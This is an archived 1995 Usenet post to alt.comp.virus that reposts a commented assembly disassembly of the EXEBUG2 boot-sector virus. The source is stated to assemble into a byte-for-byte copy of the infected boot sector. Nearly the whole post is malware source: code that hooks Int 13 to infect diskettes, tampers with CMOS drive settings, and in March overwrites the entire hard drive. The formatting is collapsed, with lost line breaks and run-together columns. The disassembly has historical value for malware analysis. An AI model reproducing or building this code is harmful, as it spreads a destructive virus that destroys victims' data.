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Text File | 1995-10-29 | 43.2 KB | 660 lines

Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm From: danishm@iia.org () Newsgroups: alt.comp.virus Subject: EXEBug Date: 5 Feb 1995 22:08:52 GMT Organization: International Internet Association. Lines: 641 Message-ID: <3h3i9k$v4@ankh.iia.org> NNTP-Posting-Host: iia.org X-Newsreader: TIN [version 1.2 PL2] Here is the EXEBug virus: ;------------------------------------------------------------------------- .286p ; The EXEBUG2 Virus. This virus .model tiny ; infects diskette boot sectors and .code ; activates in March of any year, ; destroying the hard drive. It ORG 0100h ; contains instructions for 80286+ ; processors. ;---------------------------------------;--------------------------------- ; As of Apr 21st, this disassembly is ; Disassembled with Master Core ; incomplete, as the test computer uses ; Disassembler: IQ Software ; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer: ; ; Quaid Software Ltd. ;------------------------------------------------------------------------- ; We are using an origin of 100h, so that this can be assembled with TASM ; and linked with tlink /t. You will have a 512 byte .COM file which is ; a byte-for-byte duplicate of the original boot sector. Note that 100h ; must be subtracted from many of the offsets. ;------------------------------------------------------------------------- ;Offset Opcode |Comment ;--------------------------------- Boot_Start: ;00100 EB1C ;--------------------------------- JMP Short Change_RAM ; Boot sectors always begin with ; a long jump (E9 XX XX) or a short ; jump (EB XX 90) ;--------------------------------- NOP ;00102 90 |NOP for short jump ;---------------------------------------; | ; Data in Code Area ; | ;---------------------------------------; | OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector Sct_AlU DB 02h ;0010D 02 |Sectors per ; | allocation unit RsvdSct DW 0001h ;0010E 0100 |Reserved sectors NumFATs DB 02h ;00110 02 |Number of FATs RootSiz DW 0070h ;00111 7000 |Number of root dir ; | entries (112) TotSect DW 02D0h ;00113 D002 |Total sectors in ; | volume (1440) MedDesc DB 0FDh ;00115 FD |Media descriptor ; | byte: ;--------------------------------- ; F8 = hard disk ; F0 = 3½" 18 sector ; F9 = 3½" 9 sector ; F9 = 5¼" 15 sector ; FC = 5¼" SS 9 sector ; FD = 5¼" DS 9 sector ; FE = 5¼" SS 8 sector ; FF = 5¼: DS 8 sector ;--------------------------------- FATSect DW 0002h ;00116 0200 |Sectors per FAT Sct_Trk DW 0009h ;00118 0900 |Sectors per track NumHead DW 0002h ;0011A 0200 |Number of heads aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:) ;---------------------------------------;--------------------------------- ; | Change_RAM: ; | ; | XOR AX,AX ;0011E 33C0 |Zero register MOV DS,AX ;00120 8ED8 |DS = 0000 MOV DI,AX ;00122 8BF8 |DI = 0000 MOV SS,AX ;00124 8ED0 |SS = 0000 MOV SP,7C00h ;00126 BC007C |SP = 7C00 ;--------------------------------- ; Get RAM size (usually 64*10 K) ; and put it in register AX. Get_RAM_Size: ;--------------------------------- ; | MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds ; | RAM size MOV CX,0106h ;0012C B90601 |This does two things: ; |it sets up a MOVSW, ; |and it puts a 6 in ; |CL for the SAL,CL DEC AX ;0012F 48 |Steal 1K of RAM ; | (decrease RAM size) MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to ; | move boot sector ; | in Copy_Boot routine. ;--------------------------------- ; RAM size is now 1K less; put it ; in DS:0413h (RAMsize) Put_RAM_Size: ;--------------------------------- ; | MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM ; | size back in [0413] SAL AX,CL ;00135 D3E0 |Convert to paragraphs ;------------------------------------------------------------------------- ; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K. ; Next operation exchanges this with the old Int 13 segment stored at 0000:004E. ;------------------------------------------------------------------------- ; | MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT PUSH AX ;00139 50 |Save SEGMENT address ; | on stack. Jump here ; | at offset 0152. XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old ; | SEGMENTS ;--------------------------------- MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX ;--------------------------------- ;0013E A3B87C |This really should be: ; |[7C00h+offset I13_Seg], ; |but we use an ORG of ; |100h here. ; <Store old SEGMENT at 7CB8> ;--------------------------------- MOV AX,offset New_Int13_ISR - 100h ;--------------------------------- ;00141 B83201 |Likewise the offset ; |of the new Int 13 ; |service routine is ; |decremented by 100h ;------------------------------------------------------------------------ ; AX now holds the OFFSET of the new Int 13 service routine, which is ; in our code at offset 232h. Next operation exchanges this with the ; the offset stored at 0000:004C. ;------------------------------------------------------------------------ ; | XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old ; | OFFSETS ;--------------------------------- MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX ;--------------------------------- ;00148 A3B67C |Again, decrement by ; | 100h to compensate ; | for ORG 100h ; <Store old OFFSET at 7CB6> ;--------------------------------- MOV AX,[offset Activation - 100h] ;--------------------------------- ;0014B B89900 |Move offset of ; |Activation routine ; |to AX. PUSH AX ;0014E 50 |Push the Activation ; |address, and then ; |use that as the ; |OFFSET when we RETF ; |at offset 0152. Copy_Boot: ;--------------------------------- ; | CLD ;0014F FC |movsb will increment ; |pointers cx=0106h ; |ds=0000h sp=7C00h ; |si=7C00h di=0000h ; |Repeat until Zero ; |Flag=0 or CX Times ; | REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI ;--------------------------------- ; Move virus up to the memory we have ; allocated, and set the INT handler. ;--------------------------------- ; | RETF ;00152 CB |The segment and ; |offset of the ; |Activation routine ; |were pushed on the ; |stack previously, so ; |a RETF jumps there ; |(at top of memory) ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION ;---------------------------------------;--------------------------------- ; | DB 04h ;00153 04 | Drive DB 20h ;00154 20 |CMOS drive type (AH), ; | is stored here. ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX), ; | is stored here. Install DB 01h ;00157 01 |This byte is checked ; | at offset 294. It is ; | used for the value ; | of CX when the boot ; | record is written ; | (starting sector) ; | Values are 1 or 11h. ;------------------------------------------------------------------------- ; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed, ; as I could not get an infection on the test computer. ;------------------------------------------------------------------------- SUB [BX+SI],CH ;00158 2828 | ADD [BX+DI],AL ;0015A 0001 | ADD AL,[BP+1Eh] ;0015C 02461E ; ADD AL,[BP+offset Change_RAM-100h] PUSH CX ;0015F 51 | MOV DL,65h ;00160 B265 | MOV DI,DX ;00162 8BFA | DEC AL ;00164 FEC8 | STOSW ;00166 AB |STORE Word STRING ; | FROM AX ADD DI,+04h ;00167 83C704 | XOR AL,0C0h ;0016A 34C0 | STOSW ;0016C AB | MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h REP STOSB ;0016F F3AA |STORE 0Bh Bytes ; | STRING FROM AL MOV CL,13h ;00171 B113 | MOV BH,03h ;00173 B703 | CALL $-170h ;00175 E88DFE |This calls offset ; |7B05 in this segment. MOV AH,13h ;00178 B413 | INT 2Fh ;0017A CD2F |Get & set DOS disk ; |int handler ; |ds:dx=new handler, ; |es:bx=old MOV CS:[01B8h],DS ;0017C 2E8C1E | ; B801 | ; | MOV CX,DX ;00181 8BCA | INT 2Fh ;00183 CD2F |Set it again MOV DS:[01B6h],CX ;00185 890EB601| CMP CL,32h ;00189 80F932 | JZ H0000_0198 ;0018C 740A |Return if CL=32h MOV CX,CS ;0018E 8CC9 | ADD CX,+10h ;00190 83C110 | PUSH CX ;00193 51 | MOV AX,00FDh ;00194 B8FD00 | PUSH AX ;00197 50 | ; | H0000_0198: ;--------------------------------- ; | RETF ;00198 CB | ;---------------------------------------;--------------------------------- ; | Activation: ; | ; | CALL Main_Routine ;00199 E86800 | MOV AH,04h ;0019C B404 |AH=4 (get date) INT 1Ah ;0019E CD1A |Get date ; |CX=year, DX=mon/day CMP DH,03h ;001A0 80FE03 |Is it month #3 JZ Damage ;001A3 7402 |If it is March, ; | do damage INT 19h ;001A5 CD19 |Otherwise reboot ; | with virus resident ; | and Int 13 hooked ;---------------------------------------;--------------------------------- ; Set up Int 13 call from the new Damage: ; ISR at I13_Seg:I13_Off. ;--------------------------------- MOV AL,0FFh ;001A7 B0FF | OUT 21h,AL ;001A9 E621 |Turn off IRQs MOV DX,0080h ;001AB BA8000 |DH = head # (0), ; |DL = drive # ; | (+80 for hd) MOV CX,0101h ;001AE B90101 |CH = cylinder #, ; |CL = sector # Trash_HardDrive: ;--------------------------------- ; | MOV AX,0311h ;001B1 B81103 |AH = function 03 ; | (write sectors) ; |AL = # of sectors PUSHF ;001B4 9C |Push flags: normally ; | done prior to ; | interrupt. FarCall DB 9Ah ;001B5 9A |Call the Int 13 ; | service routine I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment INC DH ;001BA FEC6 |Next head AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH, ; | clear 4-7 JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7 ; |continue, else trash INC CH ;001C1 FEC5 |Next cylinder JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255 ; | continue, else keep ; | on trashing. ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of ; | CL, enabling the ; | entire drive to be ; | overwritten (or at ; |least 1024 cylinders) JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this ; | is a disk error, or ; | power off. ;-------------------------------------------------------------------------- ;At this point, it is important to Change_CMOS: ;know what the contents of DX is. ; CMOS checksums are stored at ; DS:0053 and DS:0055 ;-------------------------------------------------------------------------- MOV AL,10h ;001CA B010 |Diskette type CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE MOV AL,2Fh ;001CF B02F |Hi checksum byte CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set ; | to zero or restore MOV AL,2Eh ;001D4 B02E |Low checksum byte ; | SET CHECKSUM: set ; | to zero or restore CMOS_Read_Write: ;--------------------------------- ; | OUT 70h,AL ;001D6 E670 |Tell CMOS address ; | to read (in AL) XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00 ; |2nd call: AH=DL=00 ; |3rd call: AH=20,DL=00 ; |4th call: AH=5F,DL=00 ; |5th call: AH=02,DL=5F ; |6th call: AH=00,DL=02 ; | XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00 ; |2nd call: DH=00,DL=20 ; |3rd call: DH=00,DL=7F ; |4th call: DH=00,DL=02 ; |5th call: DH=5F,DL=00 ; |6th call: DH=02,DL=00 ; | IN AL,71h ;001DC E471 |Read CMOS to AL ; |1st call: AL=20 ; |2nd call: AL=7F ; |3rd call: AL=02 ; |4th call: AL=00 ; |5th call: AL=00 ; |6th call: AL=00 ; | XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH ; |1st call: DH=20,AL=00 ; |2nd call: DH=7F,AL=00 ; |3rd call: DH=02,AL=00 ; |4th call: DH=00,AL=00 ; |5th call: DH=00,AL=5F ; |6th call: DH=00,AL=02 ; | OUT 71h,AL ;001E0 E671 |Write contents of ; | AL to CMOS ; |1st call: AL=00 ; |2nd call: AL=00 ; |3rd call: AL=00 ; |4th call: AL=00 ; |5th call: AL=5F ; |6th call: AL=02 ; | RET ;001E2 C3 |Return to Call_CMOS ;---------------------------------------;--------------------------------- ; | Setup_Int13: ; | ; | MOV AX,0301h ;001E3 B80103 |Function #3: write ; | (1) sector Real_Int13_2: ;--------------------------------- ; | CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS PUSHF ;001E9 9C |Prepare for interrupt ;--------------------------------- ;DO THE INTERRUPT 13 CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from ; offset of old Int 13 ;001EA FF1EB600| vector and then call ; | it as a DWord (i.e. ; | as Segment:Offset) ; | Standard Int 13 ; | resets and repeats ; | 3 times if carry ; | flag not clear. Restore_CMOS: ;--------------------------------- ; | CALL Xchg_Old_New ;001EE E80300 | CALL Change_CMOS ;001F1 E8D6FF | ; | Xchg_Old_New: ;--------------------------------- ; | XCHG AX,DS:[0053h] ;001F4 87065300| XCHG DX,DS:[0055h] ;001F8 87165500| RET ;001FC C3 | ;---------------------------------------;--------------------------------- ; | Jump_From_Boot: ; | ; | CALL Main_Routine ;001FD E80400 | ; CALL 0204h | ; | CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh ;-------------------------------;--------------------------------- ;RETF ; |This must be assembled ; |as DB 0CBh, otherwise DB 0CBh ;00203 CB |the assembler emits ; |CA CB 00. ;---------------------------------------;--------------------------------- ; |Diddle CMOS. Read Main_Routine: ;00204 |boot with new Int13. ; | ;------------------------------------------------------------------------- ; | ; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original ; -------- -------- -------- -------- |CMOS setting. ; CMOS IS NOW: 00008050 02269303 28000016 00200027 | ; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type ; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0 ; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1 ; | 0000b = no drive ; | 0001b = 360K ; | 0010b = 1.2 MB ; | 0011b = 720K ; | 0100b = 1.44 MB ; |so in this case there ; |is one 1.2 meg drive ; |and no 'B' drive ;------------------------------------------------------------------------- ; |Put address of CMOS_0: ; | hidden memory on PUSH CS ;00204 0E | stack and then pop POP DS ;00205 1F | it into DS. MOV ES,CX ;00206 8EC1 |Zero ES CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000 ;------------------------------------------------------------------------- ; ; CMOS CHANGED: 00008050 02269303 28000017 00420002 ; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE ; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive ; No checksum 00000001 01000000 00000000 80190D80 ; ;------------------------------------------------------------------------- ; |Now the drive type CMOS_1: ; | and checksum are 00 MOV AL,AH ;0020B 8AC4 |AX=2020 AND AL,0F0h ;0020D 24F0 |AX=2020 JZ Calc_ChkSum ;0020F 7408 |Is zero flag set? MOV DS:[0055h],DX ;00211 89165500|Store checksum in ; | DS:[0055] MOV DS:[0054h],AH ;00215 88265400|Store drive type ; | in DS:[0054] Calc_ChkSum: ;--------------------------------- ; | AND AH,0Fh ;00219 80E40F |Clears high bits ; | AX=0020 SUB DL,AL ;0021C 2AD0 |DX=025F SBB DH,00h ;0021E 80DE00 |DX=025F CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F ;------------------------------------------------------------------------- ; ; CMOS CHANGED: 00008050 02269303 28000018 00030041 ; 00000000 0000310D 80028003 00F00000 ; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000 ; 00000001 01000000 00000000 80190D80 ; ;------------------------------------------------------------------------- ; | CMOS_2: ; | MOV DL,80h ;00224 B280 | DL = 80 ; | Read_Boot: ;--------------------------------- ; | MOV CX,0001h ;00226 B90100 | CX = 0001 MOV DH,CH ;00229 8AF5 | DH = 00 POP AX ;0022B 58 | Pop return offset PUSHF ;0022C 9C | Push flags PUSH CS ;0022D 0E | Save segment PUSH AX ;0022E 50 | Save offset MOV AX,0201h ;0022F B80102 | AX = 0201 (read ; | one sector) ; New_Int13_ISR: ;___ New Int 13 Service Routine ___ ; CLD ;00232 FC |Clear direction flag PUSH DS ;00233 1E | PUSH SI ;00234 56 | PUSH DI ;00235 57 |Save some registers PUSH CX ;00236 51 | PUSH AX ;00237 50 | PUSH CS ;00238 0E | POP DS ;00239 1F |DS = CS CMP AH,03h ;0023A 80FC03 |Is it a function 3 ; | (write disk) call? JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13 CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D? JNZ Real_Int13_1 ;00243 751B |No, so do real Int13 OR AH,DL ;00245 0AE2 |Yes, but which drive? CMP CL,AH ;00247 3ACC |Is drive OK?? JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13 MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D] MOV SI,00A7h ;0024D BEA700 | MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words AND DL,DL ;00253 22D2 |Is it drive #0 (A:)? JNZ H0000_025E ;00255 7507 |No, so move 'em MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002 MOV AX,5CEBh ;0025A B8EB5C |Move value in AX STOSW ;0025D AB | to ES:[4D] ; | H0000_025E: ;--------------------------------- ; |cx=01FEh,ds=0000h ; |si=0002h Move 1FE REP MOVSB ; | words from DS:SI ;0025E F3A4 | to ES:DI Real_Int13_1: ;--------------------------------- ; | POP AX ;00260 58 |Restore registers POP CX ;00261 59 | POP DI ;00262 5F | MOV SI,AX ;00263 8BF0 |SI=function,subfn CALL Real_Int13_2 ;00265 E87EFF |When done go to ; | Return_here. Return_Here: ;--------------------------------- ; | JB Int13_Error ;00268 721D |If Int 13 returned ; | error go to err rtn PUSH DI ;0026A 57 |Save registers PUSH AX ;0026B 50 | OR DH,DH ;0026C 0AF6 |Was drive A: target? JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus CMP CX,+01h ;00270 83F901 |Was it a 1 sector ; | operation? JNZ Exit_Virus ;00273 750F |No, Exit_Virus MOV AX,SI ;00275 8BC6 |Restore Int 13 ; | function, sub fn CMP AH,02h ;00277 80FC02 |Was it a read fn? JZ Int13_Read ;0027A 7410 | CMP AH,03h ;0027C 80FC03 | JNZ Exit_Virus ;0027F 7503 | ; | Read_New_Boot: ;--------------------------------- ; |This pushes the CALL Read_Boot ;00281 E8A2FF | address of ; | Read_Boot on stack Exit_Virus: ;--------------------------------- ; | CLC ;00284 F8 | POP AX ;00285 58 |Restore registers POP DI ;00286 5F | ; | Int13_Error: ;--------------------------------- ; | POP SI ;00287 5E | POP DS ;00288 1F | RETF 0002h ;00289 CA0200 |Return to address ; | on stack. Discard ; | next two bytes on ; | stack. This ; | eventually gets us ; | to offset 19C (check ; | activation & reboot) ;---------------------------------------;--------------------------------- Int13_Read: ; | ; | PUSH CX ;0028C 51 |Push # sectors CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28] ; 287C | with 7C. (Boot ; | record offset 28). JNZ Boot_Changed ;00292 750D |If no, then the ; | boot record changed. ;00294 268B8F |MOV CX,ES:[BX+0057h] ; 5700 | ; MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector ; to CX MOV AL,01h ;00299 B001 | CALL Real_Int13_2 ;0029B E848FF | ; | HD_Exit: ;--------------------------------- ; | POP CX ;0029E 59 | JMP Short Exit_Virus ;0029F EBE3 | ;---------------------------------------;--------------------------------- Boot_Changed: ; | ; | PUSH DX ;002A1 52 |Save drive info MOV CL,11h ;002A2 B111 |CX=0011 (Changed) TEST DL,80h ;002A4 F6C280 |Is it a hard drive? JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive MOV CH,28h ;002A9 B528 | CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F | ; 15FC | JNB H0000_02B4 ;002B0 7302 | SAL CH,1 ;002B2 D0E5 | ; | H0000_02B4: ;--------------------------------- ; | This code not PUSH ES ;002B4 06 | analyzed as of PUSH BX ;002B5 53 | April 21st. XOR AX,AX ;002B6 33C0 | MOV ES,AX ;002B8 8EC0 | LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E | ; 7800 | ; |Load ES & operand ; | from memory PUSH ES ;002BF 06 | PUSH BX ;002C0 53 | INC AL ;002C1 FEC0 | MOV CL,AL ;002C3 8AC8 | XCHG CL,ES:[BX+04h] ;002C5 26864F04| MOV AH,05h ;002C9 B405 | MOV BX,0059h ;002CB BB5900 | MOV [BX],CH ;002CE 882F | PUSH CS ;002D0 0E | POP ES ;002D1 07 | CALL Real_Int13_2 ;002D2 E811FF | POP BX ;002D5 5B | POP ES ;002D6 07 | XCHG CL,ES:[BX+04h] ;002D7 26864F04| POP BX ;002DB 5B | POP ES ;002DC 07 | ; | Hard_Drive: ;--------------------------------- ; | CALL Setup_Int13 ;002DD E803FF |Prepare for Write POP DX ;002E0 5A |Get drive info JB HD_Exit ;002E1 72BB |On error exit MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed) MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds ; EB1C | EB 1C. MOV SI,001Eh ;002EC BE1E00 |SI=001E ;-------------------------------;--------------------------------- ;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E ; |for this instruction, DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's ; |BX=7C00 SI=001E ; |ES=0000 DI=7C1E ;-------------------------------;--------------------------------- MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI ; |Restore boot record ; | from ofs 7C00:001E ; | Note initial jump ; | restored to EB 1C. POP CX ;002F8 59 |CX=number of sectors CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot ; | record. JMP Short Read_New_Boot ;002FC EB83 |Read it and process. ;---------------------------------------;--------------------------------- Boot_ID DW 0AA55h ;002FE 55AA |All valid boot ; | sectors end with ; | 55AA ENDS ;--------------------------------- ; Disassembly by Arthur Ellis and ?? END Boot_Start ; [Suggestions by Lucifer Messiah] ; April, 1993 ;------------------------------------------------------------------------- -- Eric "Mad Dog" Kilby maddog@ccs.neu.edu The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu Student at the Northeatstern University College of Computer Science "I Can't Believe It's Not Butter"